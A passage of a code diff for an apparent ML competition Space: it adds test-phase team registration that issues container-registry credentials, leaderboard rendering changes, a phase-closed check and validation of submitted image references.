+ api.upload_file(
543
+ path_or_fileobj=io.BytesIO(json.dumps(row, indent=2).encode()),
544
+ path_in_repo=path,
545
+ repo_id=config.REQUESTS_REPO,
546
+ repo_type="dataset",
547
+ # No email in the commit message: dataset commit history is a different
548
+ # surface from the file, and a contact address does not belong in it.
549
+ commit_message=f"test-phase registration: {team} {subtrack(track, division)}",
550
+ )
551
+
552
+
553
+ def issue(
554
+ api,
555
+ hf_user: str,
556
+ team_name: str,
557
+ track: str,
558
+ division: str,
559
+ members: str,
560
+ poc: str,
561
+ model_name: str,
562
+ total_params_b,
563
+ ) -> tuple[bool, str]:
564
+ """Full path for ONE sub-track: verify, record, render the credentials.
565
+
566
+ Returns (ok, markdown_for_the_participant). The credentials are rendered only
567
+ on the ok path, and the failure path never contains any part of them.
568
+
569
+ Everything that can be judged from the form alone is judged BEFORE any
570
+ network read, so a team that mistypes gets an instant answer instead of
571
+ waiting on the results dataset, and a malformed registration never reaches
572
+ the ledger.
573
+ """
574
+ if not config.TEST_PHASE_OPEN:
575
+ return False, "Test-phase registration is not open yet."
576
+
577
+ roster, why = parse_members(members)
578
+ if roster is None:
579
+ return False, why
580
+
581
+ poc_record, why = parse_poc(poc, roster, hf_user)
582
+ if poc_record is None:
583
+ return False, why
584
+
585
+ model = (model_name or "").strip()
586
+ if not model:
587
+ return False, (
588
+ "Enter the name of the model you intend to submit for this "
589
+ "sub-track. It does not have to be the one you entered at "
590
+ "validation."
591
+ )
592
+
593
+ total_params, why = parse_total_params(total_params_b)
594
+ if total_params is None:
595
+ return False, why
596
+
597
+ ok, why = check_division(total_params, division)
598
+ if not ok:
599
+ return False, why
600
+
601
+ # The three sources are loaded separately, and the credentials one is
602
+ # allowed to be absent. Sharing a try made a missing credentials file report
603
+ # as "could not check eligibility", which is the opposite of what happened:
604
+ # eligibility was never checked, and the participant was told to retry
605
+ # something that could not succeed until an organizer uploaded a file.
606
+ try:
607
+ shortlist = load_shortlist(api)
608
+ except Exception as e:
609
+ # Never surface the raw exception: it carries private repo paths.
610
+ print(f"[register_test] shortlist unavailable: {e!r}")
611
+ return False, (
612
+ "Could not read the test-phase shortlist, so your eligibility "
613
+ "cannot be checked. This is on our side, not yours. Please retry "
614
+ "in a few minutes and contact the organizers if it persists."
615
+ )
616
+ try:
617
+ pairs = validation_pairs(api)
618
+ except Exception as e:
619
+ print(f"[register_test] validation results unavailable: {e!r}")
620
+ return False, (
621
+ "Could not read the validation results, so your eligibility cannot "
622
+ "be checked. This is on our side, not yours. Please retry in a few "
623
+ "minutes and contact the organizers if it persists."
624
+ )
625
+ try:
626
+ creds = load_credentials(api)
627
+ except EntryNotFoundError:
628
+ # No file yet is a STATE, not a failure: nothing has been issued. Fall
629
+ # through so the accurate "not issued yet" message below is the one the
630
+ # participant sees, after their eligibility has actually been decided.
631
+ print("[register_test] no credentials file deposited yet")
632
+ creds = {}
633
+ except Exception as e:
634
+ print(f"[register_test] credentials unavailable: {e!r}")
635
+ return False, (
636
+ "Your registry credentials could not be read. This is on our side, "
637
+ "not yours. Contact the organizers."
638
+ )
639
+
640
+ ok, why = check(hf_user, team_name, track, division, pairs, shortlist)
641
+ if not ok:
642
+ return False, why
643
+
644
+ team = normalize_team(team_name)
645
+ seat = shortlist.get(team, {}).get(subtrack(track, division), {})
646
+ cred = creds.get(team)
647
+ if not cred:
648
+ # Shortlisted but no key deposited: an organizer omission, not the
649
+ # participant's error, so it must not read as a refusal.
650
+ print(f"[register_test] no credential deposited for shortlisted team {team!r}")
651
+ return False, (
652
+ "Your team is shortlisted, but your registry credentials have not "
653
+ "been issued yet. Contact the organizers — this is on our side."
654
+ )
655
+
656
+ try:
657
+ _record(
658
+ api, hf_user, team, track, division, roster, poc_record, model, seat,
659
+ total_params, cred,
660
+ )
661
+ except Exception as e:
662
+ # The ledger is how we know a key was handed out. Refuse rather than
663
+ # disclose unrecorded: a re-try costs the team a minute, an unlogged
664
+ # disclosure is permanently unaccountable.
665
+ print(f"[register_test] ledger write failed for {team!r}: {e!r}")
666
+ return False, (
667
+ "Could not complete registration. Please retry; contact the "
668
+ "organizers if it persists."
669
+ )
670
+
671
+ return True, render_credentials(
672
+ team_name, track, division, cred, shortlist.get(team, {}),
673
+ model, seat, total_params,
674
+ )
675
+
676
+
677
+ def render_credentials(
678
+ team_name: str,
679
+ track: str,
680
+ division: str,
681
+ cred: dict,
682
+ seats: dict,
683
+ model_name: str,
684
+ seat: dict,
685
+ total_params: int,
686
+ ) -> str:
687
+ """The markdown shown once a sub-track registration is accepted."""
688
+ region = cred.get("region", "us-east-2")
689
+ repo = cred.get("repo_uri", "")
690
+ registry = repo.split("/", 1)[0] if "/" in repo else repo
691
+ this = f"{config.TRACK_LABELS.get(track, track)} / {division.capitalize()}"
692
+ others = sorted(s for s in seats if s != subtrack(track, division))
693
+ earned = (
694
+ f"\n\nThis seat was earned at validation by **{seat['model_name']}**"
695
+ + (
696
+ f" ({seat['total_params'] / 1e9:g}B declared)."
697
+ if seat.get("total_params")
698
+ else "."
699
+ )
700
+ + " You do not have to submit that same model."
701
+ if seat.get("model_name")
702
+ else ""
703
+ )
704
+ _note = size_note(seat, total_params)
705
+ note = f"\n\n{_note}" if _note else ""
706
+ remaining = (
707
+ "\n\nYou are also shortlisted for **"
708
+ + "**, **".join(others)
709
+ + "**. Register each one separately, declaring that model's size."
710
+ if others
711
+ else ""
712
+ )
713
+ return f"""✅ **{team_name.strip()} is registered for {this}.**
714
+
715
+ Recorded for this sub-track: **{model_name}**, **{total_params / 1e9:g}B total parameters** including any frozen backbone. Parameter counts are verified against this declaration.{earned}{note}{remaining}
716
+
717
+ **Copy these now.** They are shown here whenever you sign in and re-register, but
718
+ never send them to anyone, including the organizers.
719
+
720
+ | | |
721
+ | --- | --- |
722
+ | Repository URI | `{repo}` |
723
+ | Region | `{region}` |
724
+ | Access key ID | `{cred.get('access_key_id', '')}` |
725
+ | Secret access key | `{cred.get('secret_access_key', '')}` |
726
+
727
+ ```bash
728
+ export AWS_ACCESS_KEY_ID={cred.get('access_key_id', '')}
729
+ export AWS_SECRET_ACCESS_KEY={cred.get('secret_access_key', '')}
730
+
731
+ aws ecr get-login-password --region {region} \\
732
+ | docker login --username AWS --password-stdin {registry}
733
+
734
+ docker tag <your-local-image> {repo}:v1
735
+ docker push {repo}:v1
736
+ ```
737
+
738
+ This account can read and write **only** `{repo}`.
739
+
740
+ Once the push finishes, come back to the **Submit** tab and register the digest.
741
+ """
results.py CHANGED
@@ -37,6 +37,10 @@ METRIC_LABEL = {"accuracy": "Accuracy", "bleu": "BLEU",
37
 
38
  DIVISION_LABEL = {"small": "Small Model (≤ 2B)", "large": "Large Model (2B+)"}
39
 
 
 
 
 
40
 
41
  def empty_results() -> pd.DataFrame:
42
  """An empty results frame with the expected columns."""
@@ -192,12 +196,17 @@ def _board_html(df: pd.DataFrame, track: str, division: str, phase: str,
192
  if show_proxy else "")
193
  lat_th = ('<th class="lb-th-lat">Latency P50/P90 (<span class="lb-lc">ms</span>)</th>'
194
  if show_lat else "")
 
 
 
 
 
195
  return (
196
  f'<div class="lb-board">{head}<div class="lb-scroll"><table>'
197
  f'<thead><tr><th>#</th><th>Team</th><th>Model</th><th>Params</th>'
198
  f'<th>Open</th><th class="lb-th-score">{metric_th}</th>{proxy_th}{lat_th}'
199
  f'<th class="lb-th-sub">Submitted</th>'
200
- f'</tr></thead><tbody>{"".join(body)}</tbody></table></div></div>'
201
  )
202
 
203
 
@@ -229,15 +238,48 @@ def _boards_inner(df: pd.DataFrame, phase: str, open_only: bool = False) -> str:
229
  return "".join(sections)
230
 
231
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
232
  def board_document(df: pd.DataFrame, phase: str = "val",
233
- open_only: bool = False) -> str:
234
  """A complete, standalone HTML document for the leaderboard.
235
 
236
  Rendered inside an <iframe srcdoc> so it is fully isolated from the host
237
  page's CSS (pixel-identical to the design mock). A small script self-sizes
238
  the iframe to the content height.
 
 
 
 
239
  """
240
- ts = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S")
241
  return (
242
  "<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'>"
243
  "<meta name='viewport' content='width=device-width, initial-scale=1'>"
@@ -247,7 +289,7 @@ def board_document(df: pd.DataFrame, phase: str = "val",
247
  "&family=IBM+Plex+Sans:wght@400;600;700&display=swap' rel='stylesheet'>"
248
  f"<style>{_DOC_CSS}</style></head><body>"
249
  f"<div id='lbroot'>{_boards_inner(df, phase, open_only)}"
250
- f"<div class='lb-updated'>Updated {ts} UTC · auto-refreshes every 60s</div></div>"
251
  "<script>"
252
  # WIDTH: an <iframe> is a replaced element with a 300px intrinsic width, so
253
  # Gradio 6's flex wrappers shrink-wrap it (CSS width:100% loses to their
@@ -269,7 +311,23 @@ def board_document(df: pd.DataFrame, phase: str = "val",
269
  "var h=Math.ceil(r.getBoundingClientRect().height)+16;"
270
  "var cur=parseInt(window.frameElement.style.height||'0',10)||0;"
271
  "if(h>40&&Math.abs(h-cur)>2)window.frameElement.style.height=h+'px';}catch(e){}}"
272
- "function fit(){fitW();fitH();}"
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
273
  "window.addEventListener('load',fit);"
274
  "window.addEventListener('resize',fit);"
275
  "if(window.parent)window.parent.addEventListener('resize',fit);"
@@ -295,14 +353,16 @@ body{font-family:var(--lb-sans);color:var(--lb-text);background:transparent;padd
295
  .lb-board{min-width:0}
296
  .lb-board{background:var(--lb-surface);border:1px solid var(--lb-border);border-radius:12px;overflow:hidden}
297
  .lb-board-head{padding:.6rem .9rem;border-bottom:1px solid var(--lb-border);font-weight:600;font-size:.9rem}
298
- /* Last-resort guard: scroll the table rather than clip it against the board's
299
- overflow:hidden (which is what rounds the corners). */
300
- .lb-scroll{overflow-x:auto;max-width:100%}
 
301
  table{width:auto;border-collapse:collapse;table-layout:auto;font-size:.83rem;border:0;margin:0}
302
  /* Even column spacing, tight enough that the widest column drives the layout. */
303
  th,td{padding-right:1.1rem}
304
  th:last-child,td:last-child{padding-right:.55rem}
305
- thead th{font-family:var(--lb-mono);font-size:.66rem;letter-spacing:.04em;text-transform:uppercase;color:var(--lb-faint);font-weight:600;text-align:left;padding:.42rem .55rem;white-space:nowrap;border-bottom:1px solid var(--lb-border)}
 
306
  tbody td{padding:.4rem .55rem;border-bottom:1px solid var(--lb-border);color:var(--lb-text);white-space:nowrap;vertical-align:middle}
307
  tbody tr:last-child td{border-bottom:0}
308
  tbody tr:hover td{background:var(--lb-hover)}
@@ -319,8 +379,11 @@ tr.lb-top .lb-rank{color:var(--lb-gold)}
319
  .lb-model{color:var(--lb-sec);font-size:.78rem;white-space:normal;overflow-wrap:anywhere;max-width:22ch;line-height:1.3}
320
  .lb-params small{color:var(--lb-faint)}
321
  .lb-score{font-weight:600}
322
- /* Subtle tint on the primary-metric column (header + cells). */
323
- .lb-score,.lb-th-score{background:rgba(124,108,211,.06)}
 
 
 
324
  .lb-lat{color:var(--lb-sec);font-size:.8rem}
325
  .lb-proxy{font-family:var(--lb-mono);color:var(--lb-sec);font-size:.8rem}
326
  .lb-th-proxy{color:var(--lb-faint)}
@@ -328,6 +391,8 @@ tr.lb-top .lb-rank{color:var(--lb-gold)}
328
  .lb-selfrep{display:inline-block;font-family:var(--lb-sans);font-size:.6rem;font-weight:600;text-transform:none;letter-spacing:0;padding:1px 5px;border-radius:6px;vertical-align:middle;background:#fff8e8;color:#8a6d00;border:1px solid #f0c36d}
329
  th .lb-lc{text-transform:none}
330
  .lb-empty{padding:1.3rem;color:var(--lb-faint);font-style:italic;text-align:center;font-size:.85rem}
 
 
331
  .lb-note{font-size:.78rem;color:var(--lb-faint);margin-top:.55rem}
332
  .lb-note b{color:var(--lb-sec);font-weight:600}
333
  """
 
37
 
38
  DIVISION_LABEL = {"small": "Small Model (≤ 2B)", "large": "Large Model (2B+)"}
39
 
40
+ # Rows visible per board before it scrolls. Keeps a 34-entry track from burying
41
+ # the tracks below it; the remaining rows are still rendered, just scrolled to.
42
+ VISIBLE_ROWS = 15
43
+
44
 
45
  def empty_results() -> pd.DataFrame:
46
  """An empty results frame with the expected columns."""
 
196
  if show_proxy else "")
197
  lat_th = ('<th class="lb-th-lat">Latency P50/P90 (<span class="lb-lc">ms</span>)</th>'
198
  if show_lat else "")
199
+ # Boards are capped to VISIBLE_ROWS on screen and scroll for the rest (the
200
+ # exact pixel height is measured in JS, since wrapped model names make rows
201
+ # variable-height). Every entry is still in the DOM — nothing is dropped.
202
+ more = (f'<div class="lb-more">Showing top {VISIBLE_ROWS} of {len(rows)}'
203
+ f' — scroll for the rest</div>' if len(rows) > VISIBLE_ROWS else "")
204
  return (
205
  f'<div class="lb-board">{head}<div class="lb-scroll"><table>'
206
  f'<thead><tr><th>#</th><th>Team</th><th>Model</th><th>Params</th>'
207
  f'<th>Open</th><th class="lb-th-score">{metric_th}</th>{proxy_th}{lat_th}'
208
  f'<th class="lb-th-sub">Submitted</th>'
209
+ f'</tr></thead><tbody>{"".join(body)}</tbody></table></div>{more}</div>'
210
  )
211
 
212
 
 
238
  return "".join(sections)
239
 
240
 
241
+ def _footer_line(df: pd.DataFrame, phase: str, refresh_s: int | None) -> str:
242
+ """The one line under the board, saying how fresh it is.
243
+
244
+ Two different claims, and using the wrong one is how a frozen board comes to
245
+ advertise a refresh that never happens. A live board reports when it was
246
+ rendered and how often it re-renders. A frozen one reports the age of the
247
+ DATA, because its render time says nothing: re-rendering a final board every
248
+ minute would keep updating a timestamp that no longer means anything.
249
+ """
250
+ if refresh_s:
251
+ ts = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S")
252
+ every = (
253
+ f"{refresh_s // 60} min"
254
+ if refresh_s >= 60 and refresh_s % 60 == 0
255
+ else f"{refresh_s}s"
256
+ )
257
+ return f"Updated {ts} UTC &middot; auto-refreshes every {every}"
258
+ last = ""
259
+ if df is not None and not df.empty and "verified_at" in df:
260
+ rows = df[(df["phase"] == phase) & (df["status"] == "FINISHED")]
261
+ stamps = sorted(str(v) for v in rows["verified_at"].dropna() if str(v))
262
+ if stamps:
263
+ last = stamps[-1].replace("T", " ").replace("Z", "")
264
+ return (
265
+ f"Final standings &middot; last scored submission {last} UTC"
266
+ if last
267
+ else "Final standings"
268
+ )
269
+
270
+
271
  def board_document(df: pd.DataFrame, phase: str = "val",
272
+ open_only: bool = False, refresh_s: int | None = None) -> str:
273
  """A complete, standalone HTML document for the leaderboard.
274
 
275
  Rendered inside an <iframe srcdoc> so it is fully isolated from the host
276
  page's CSS (pixel-identical to the design mock). A small script self-sizes
277
  the iframe to the content height.
278
+
279
+ refresh_s is what the footer ADVERTISES, so the caller passes the interval it
280
+ actually set on the timer. It used to be hardcoded at 60, which meant the
281
+ Test board claimed 60s while refreshing every 120.
282
  """
 
283
  return (
284
  "<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'>"
285
  "<meta name='viewport' content='width=device-width, initial-scale=1'>"
 
289
  "&family=IBM+Plex+Sans:wght@400;600;700&display=swap' rel='stylesheet'>"
290
  f"<style>{_DOC_CSS}</style></head><body>"
291
  f"<div id='lbroot'>{_boards_inner(df, phase, open_only)}"
292
+ f"<div class='lb-updated'>{_footer_line(df, phase, refresh_s)}</div></div>"
293
  "<script>"
294
  # WIDTH: an <iframe> is a replaced element with a 300px intrinsic width, so
295
  # Gradio 6's flex wrappers shrink-wrap it (CSS width:100% loses to their
 
311
  "var h=Math.ceil(r.getBoundingClientRect().height)+16;"
312
  "var cur=parseInt(window.frameElement.style.height||'0',10)||0;"
313
  "if(h>40&&Math.abs(h-cur)>2)window.frameElement.style.height=h+'px';}catch(e){}}"
314
+ # ROW CAP: show VISIBLE_ROWS per board, scroll for the rest. Rows are
315
+ # variable-height (the Model column wraps), so the cut point is measured
316
+ # rather than assumed: the delta between row 0 and row N's offsetTop is
317
+ # exactly N rows tall, and being a difference it is unaffected by the
318
+ # container's current scroll position (so a resize mid-scroll is safe).
319
+ f"var LB_ROWS={VISIBLE_ROWS};"
320
+ "function fitRows(){try{"
321
+ "var els=document.querySelectorAll('.lb-scroll');"
322
+ "for(var i=0;i<els.length;i++){var el=els[i];"
323
+ "var t=el.querySelector('table');"
324
+ "if(!t||!t.tBodies[0]){continue;}"
325
+ "var rows=t.tBodies[0].rows;"
326
+ "if(rows.length<=LB_ROWS){el.style.maxHeight='';continue;}"
327
+ "var head=t.tHead?t.tHead.getBoundingClientRect().height:0;"
328
+ "var h=head+(rows[LB_ROWS].offsetTop-rows[0].offsetTop);"
329
+ "if(h>40){el.style.maxHeight=Math.ceil(h)+'px';}}}catch(e){}}"
330
+ "function fit(){fitW();fitRows();fitH();}"
331
  "window.addEventListener('load',fit);"
332
  "window.addEventListener('resize',fit);"
333
  "if(window.parent)window.parent.addEventListener('resize',fit);"
 
353
  .lb-board{min-width:0}
354
  .lb-board{background:var(--lb-surface);border:1px solid var(--lb-border);border-radius:12px;overflow:hidden}
355
  .lb-board-head{padding:.6rem .9rem;border-bottom:1px solid var(--lb-border);font-weight:600;font-size:.9rem}
356
+ /* Scrolls rather than clipping against the board's overflow:hidden (which is
357
+ what rounds the corners): horizontally as a last-resort width guard, and
358
+ vertically once a board exceeds VISIBLE_ROWS (max-height set in JS). */
359
+ .lb-scroll{overflow:auto;max-width:100%;overscroll-behavior:contain}
360
  table{width:auto;border-collapse:collapse;table-layout:auto;font-size:.83rem;border:0;margin:0}
361
  /* Even column spacing, tight enough that the widest column drives the layout. */
362
  th,td{padding-right:1.1rem}
363
  th:last-child,td:last-child{padding-right:.55rem}
364
+ /* Sticky so the metric header stays put while a long board scrolls. */
365
+ thead th{font-family:var(--lb-mono);font-size:.66rem;letter-spacing:.04em;text-transform:uppercase;color:var(--lb-faint);font-weight:600;text-align:left;padding:.42rem .55rem;white-space:nowrap;border-bottom:1px solid var(--lb-border);position:sticky;top:0;z-index:1;background:var(--lb-surface)}
366
  tbody td{padding:.4rem .55rem;border-bottom:1px solid var(--lb-border);color:var(--lb-text);white-space:nowrap;vertical-align:middle}
367
  tbody tr:last-child td{border-bottom:0}
368
  tbody tr:hover td{background:var(--lb-hover)}
 
379
  .lb-model{color:var(--lb-sec);font-size:.78rem;white-space:normal;overflow-wrap:anywhere;max-width:22ch;line-height:1.3}
380
  .lb-params small{color:var(--lb-faint)}
381
  .lb-score{font-weight:600}
382
+ /* Subtle tint on the primary-metric column (header + cells). The header is
383
+ sticky, so its tint is layered over an opaque surface or rows would show
384
+ through it while scrolling. */
385
+ .lb-score{background:rgba(124,108,211,.06)}
386
+ .lb-th-score{background:linear-gradient(rgba(124,108,211,.06),rgba(124,108,211,.06)),var(--lb-surface)}
387
  .lb-lat{color:var(--lb-sec);font-size:.8rem}
388
  .lb-proxy{font-family:var(--lb-mono);color:var(--lb-sec);font-size:.8rem}
389
  .lb-th-proxy{color:var(--lb-faint)}
 
391
  .lb-selfrep{display:inline-block;font-family:var(--lb-sans);font-size:.6rem;font-weight:600;text-transform:none;letter-spacing:0;padding:1px 5px;border-radius:6px;vertical-align:middle;background:#fff8e8;color:#8a6d00;border:1px solid #f0c36d}
392
  th .lb-lc{text-transform:none}
393
  .lb-empty{padding:1.3rem;color:var(--lb-faint);font-style:italic;text-align:center;font-size:.85rem}
394
+ /* macOS overlay scrollbars are invisible until you scroll, so say it in text. */
395
+ .lb-more{padding:.4rem .55rem;border-top:1px solid var(--lb-border);font-size:.72rem;color:var(--lb-faint);font-family:var(--lb-mono)}
396
  .lb-note{font-size:.78rem;color:var(--lb-faint);margin-top:.55rem}
397
  .lb-note b{color:var(--lb-sec);font-weight:600}
398
  """
submit.py CHANGED
@@ -200,6 +200,11 @@ def validate_and_submit(
200
  token: str,
201
  ) -> tuple[bool, str]:
202
  """Full submit path. Returns (ok, message_for_user)."""
 
 
 
 
 
203
  if not team_name.strip():
204
  return False, "Team name is required."
205
  if not token:
 
200
  token: str,
201
  ) -> tuple[bool, str]:
202
  """Full submit path. Returns (ok, message_for_user)."""
203
+ # First, and before anything is read or written. A closed phase is not a
204
+ # validation failure, so it is not reported through validate_only(): a team
205
+ # whose file is fine should not be told to fix it.
206
+ if not config.VAL_PHASE_OPEN:
207
+ return False, config.VAL_CLOSED_NOTICE
208
  if not team_name.strip():
209
  return False, "Team name is required."
210
  if not token:
submit_test.py ADDED
@@ -0,0 +1,338 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """Test-phase submission handling: register a container image, not predictions.
2
+
3
+ Shortlisted teams push an image to their own ECR repository and register its
4
+ DIGEST here. The organizers' evaluation worker, which runs outside this Space, polls the
5
+ requests dataset, pulls that exact digest, runs it against the held-out split on
6
+ the cluster and publishes the score. Nothing in this module touches the image or
7
+ the gold; it writes a request.json and stops.
8
+
9
+ Two things this file is responsible for, both of which exist because the worker
10
+ lives in a different repository and cannot import this one:
11
+
12
+ 1. The request it writes must be one the worker's parse_request() accepts. The
13
+ field names below are that contract. tests/test_submit_test.py pins the shape.
14
+ 2. The validation it applies must not be looser OR tighter than the worker's. A
15
+ reference this accepts and the worker rejects strands the team with a
16
+ submission that can never be scored; one this rejects and the worker would
17
+ have taken turns the board into the stricter gate by accident. The regexes and
18
+ the cap live in config.py and are quoted from the worker.
19
+
20
+ The per-track cap is enforced on both sides on purpose. This side gives the team
21
+ an immediate, readable refusal; the worker's side is the one that actually
22
+ protects the GPU budget, because the board is a client and a client is not a
23
+ gate.
24
+ """
25
+
26
+ from __future__ import annotations
27
+
28
+ import io
29
+ import json
30
+ import random
31
+ import re
32
+ import string
33
+ from datetime import datetime, timezone
34
+
35
+ from huggingface_hub import HfApi, hf_hub_download
36
+
37
+ import config
38
+
39
+ _ECR_REF = re.compile(config.ECR_REF_RE)
40
+ _DIGEST = re.compile(config.DIGEST_RE)
41
+
42
+
43
+ def _now_iso() -> str:
44
+ return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
45
+
46
+
47
+ def _new_sid() -> str:
48
+ stamp = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H-%M-%S")
49
+ suffix = "".join(random.choices(string.ascii_lowercase + string.digits, k=6))
50
+ return f"{stamp}_{suffix}"
51
+
52
+
53
+ def parse_image_ref(ref: str, digest: str = "") -> tuple[bool, str]:
54
+ """Validate one image reference. Returns (ok, message).
55
+
56
+ Takes either form, because they are equally pinned on this setup and a tag
57
+ is far easier to type than 64 hex characters:
58
+
59
+ <repo>:<tag>
60
+ <repo>@sha256:<64 hex>
61
+
62
+ A tag is safe here for two specific reasons, not in general. Participant
63
+ repositories are created with --image-tag-mutability IMMUTABLE, so a tag
64
+ cannot be overwritten, and the per-team policy grants no ecr:Delete*, so a
65
+ tag cannot be freed and re-pushed either. Take either away and this must go
66
+ back to digests only.
67
+
68
+ `digest` is the legacy second field, still accepted so an older client or a
69
+ participant following older instructions is not broken; it may only be given
70
+ when `ref` carries no tag or digest of its own.
71
+
72
+ Pure. The message says what is wrong with the value rather than quoting a
73
+ regex at the participant.
74
+ """
75
+ ref = (ref or "").strip()
76
+ digest = (digest or "").strip()
77
+ if not ref:
78
+ return False, "Image reference is required."
79
+
80
+ repo, sep, suffix = _split_image_ref(ref)
81
+
82
+ if sep == "@":
83
+ if digest and digest != suffix:
84
+ return False, (
85
+ "Two different digests given: one on the reference and one in the "
86
+ "digest field. Give the reference only."
87
+ )
88
+ pinned, kind = suffix, "digest"
89
+ elif sep == ":":
90
+ if not config.TEST_ACCEPT_IMAGE_TAG:
91
+ return False, (
92
+ f"Give the digest rather than the tag `{suffix}` for now. Paste "
93
+ "the reference as `<your-repo>@sha256:<64 hex>`, exactly as "
94
+ "`docker push` printed it."
95
+ )
96
+ if digest:
97
+ return False, (
98
+ "Give either a tag or a digest, not both. The reference already "
99
+ f"carries the tag `{suffix}`."
100
+ )
101
+ pinned, kind = suffix, "tag"
102
+ else:
103
+ # No tag and no digest on the reference: the digest field must supply it.
104
+ if not digest:
105
+ return False, (
106
+ "Add the tag you pushed, or the digest. "
107
+ "Example: `<your-repo>:v1` or `<your-repo>@sha256:<64 hex>`."
108
+ )
109
+ pinned, kind = digest, "digest"
110
+
111
+ if not _ECR_REF.match(repo):
112
+ return False, (
113
+ f"`{repo}` is not an ECR repository URI. It must look like "
114
+ "`<12-digit-account>.dkr.ecr.<region>.amazonaws.com/<repository>`, all "
115
+ "lower case. Use the URI issued to your team in Step 1."
116
+ )
117
+ if kind == "digest":
118
+ if not _DIGEST.match(pinned):
119
+ return False, (
120
+ f"`{pinned}` is not a sha256 digest. It must read `sha256:` followed "
121
+ "by 64 lower-case hex characters, exactly as `docker push` printed it."
122
+ )
123
+ elif not re.match(config.TAG_RE, pinned):
124
+ return False, (
125
+ f"`{pinned}` is not a usable image tag. Tags are up to 128 characters "
126
+ "of letters, digits, dot, dash and underscore, and cannot start with a "
127
+ "dot or dash."
128
+ )
129
+ return True, ""
130
+
131
+
132
+ def _split_image_ref(ref: str) -> tuple[str, str, str]:
133
+ """(repository, separator, suffix) for `repo`, `repo:tag` or `repo@digest`.
134
+
135
+ Split on the LAST separator, and only after the last `/`: a registry host
136
+ may carry a port (`host:5000/repo`) and the repository path may not, so
137
+ splitting on the first colon would tear the host apart. Returns an empty
138
+ separator when the reference is a bare repository.
139
+ """
140
+ if "@" in ref:
141
+ repo, _, suffix = ref.partition("@")
142
+ return repo, "@", suffix
143
+ head, slash, tail = ref.rpartition("/")
144
+ if slash and ":" in tail:
145
+ name, _, tag = tail.partition(":")
146
+ return f"{head}/{name}", ":", tag
147
+ return ref, "", ""
148
+
149
+
150
+ def count_test_submissions(
151
+ api: HfApi, hf_user: str, track: str, division: str
152
+ ) -> int:
153
+ """How many of this team's test-phase slots for this SUB-TRACK are held.
154
+
155
+ A sub-track is (track, division). The cap is per sub-track, matching the
156
+ published rules: a team entering both ConvQA Small and ConvQA Large gets
157
+ three submissions in each, not three across both. Counting on track alone
158
+ silently halves the allowance for any team that enters both divisions.
159
+
160
+ Counts REQUEST records rather than published results, so a submission that is
161
+ still PENDING counts too: a team cannot queue four and have them all run
162
+ because none had finished when the fourth was registered.
163
+
164
+ Which states hold a slot is config.TEST_SLOT_STATUSES, kept identical to the
165
+ worker's count_prior_submissions(). An unreadable request is skipped rather
166
+ than counted, which is the lenient direction, on the grounds that the worker
167
+ enforces the same cap and a board that refuses a legitimate submission over a
168
+ file it could not parse is the worse failure.
169
+ """
170
+ prefix = f"requests/{config.TEST_PHASE}/{track}/{division}/"
171
+ try:
172
+ files = api.list_repo_files(config.REQUESTS_REPO, repo_type="dataset")
173
+ except Exception:
174
+ # Cannot enumerate: report 0 and let the worker be the gate. Failing open
175
+ # here only risks a fourth request being registered and then refused by
176
+ # the worker; failing closed would block every submission on a transient
177
+ # HF error.
178
+ return 0
179
+
180
+ count = 0
181
+ for f in files:
182
+ if not (f.startswith(prefix) and f.endswith("/request.json")):
183
+ continue
184
+ try:
185
+ local = hf_hub_download(
186
+ config.REQUESTS_REPO, f, repo_type="dataset", token=api.token
187
+ )
188
+ with open(local, encoding="utf-8") as fh:
189
+ obj = json.load(fh)
190
+ except Exception:
191
+ continue
192
+ if obj.get("hf_user") != hf_user:
193
+ continue
194
+ if obj.get("status", "PENDING") in config.TEST_SLOT_STATUSES:
195
+ count += 1
196
+ return count
197
+
198
+
199
+ def validate_only(
200
+ *,
201
+ track: str,
202
+ division: str,
203
+ total_params: int,
204
+ active_params: int,
205
+ image_ref: str,
206
+ image_digest: str,
207
+ ) -> tuple[bool, str]:
208
+ """Every format and eligibility check except the cap and the upload.
209
+
210
+ Shared by the real submit path and the tab's "Validate (no submit)" button so
211
+ the dry run is the same code a real submit runs. Pure: no network.
212
+ """
213
+ if track not in config.TEST_TRACKS:
214
+ # Not "unknown": proactive is a real track, it just has no test gold
215
+ # staged, so say which tracks the test phase can score rather than
216
+ # implying a typo.
217
+ return False, (
218
+ f"The test phase cannot score '{track}'. Open tracks: "
219
+ + ", ".join(config.TRACK_LABELS[t] for t in config.TEST_TRACKS)
220
+ + "."
221
+ )
222
+ if division not in config.DIVISIONS:
223
+ return False, f"Unknown division: {division}"
224
+
225
+ declared_div = config.division_for_params(int(total_params))
226
+ if declared_div is None:
227
+ return False, f"total_params={total_params} must be a positive parameter count."
228
+ if declared_div != division:
229
+ return False, (
230
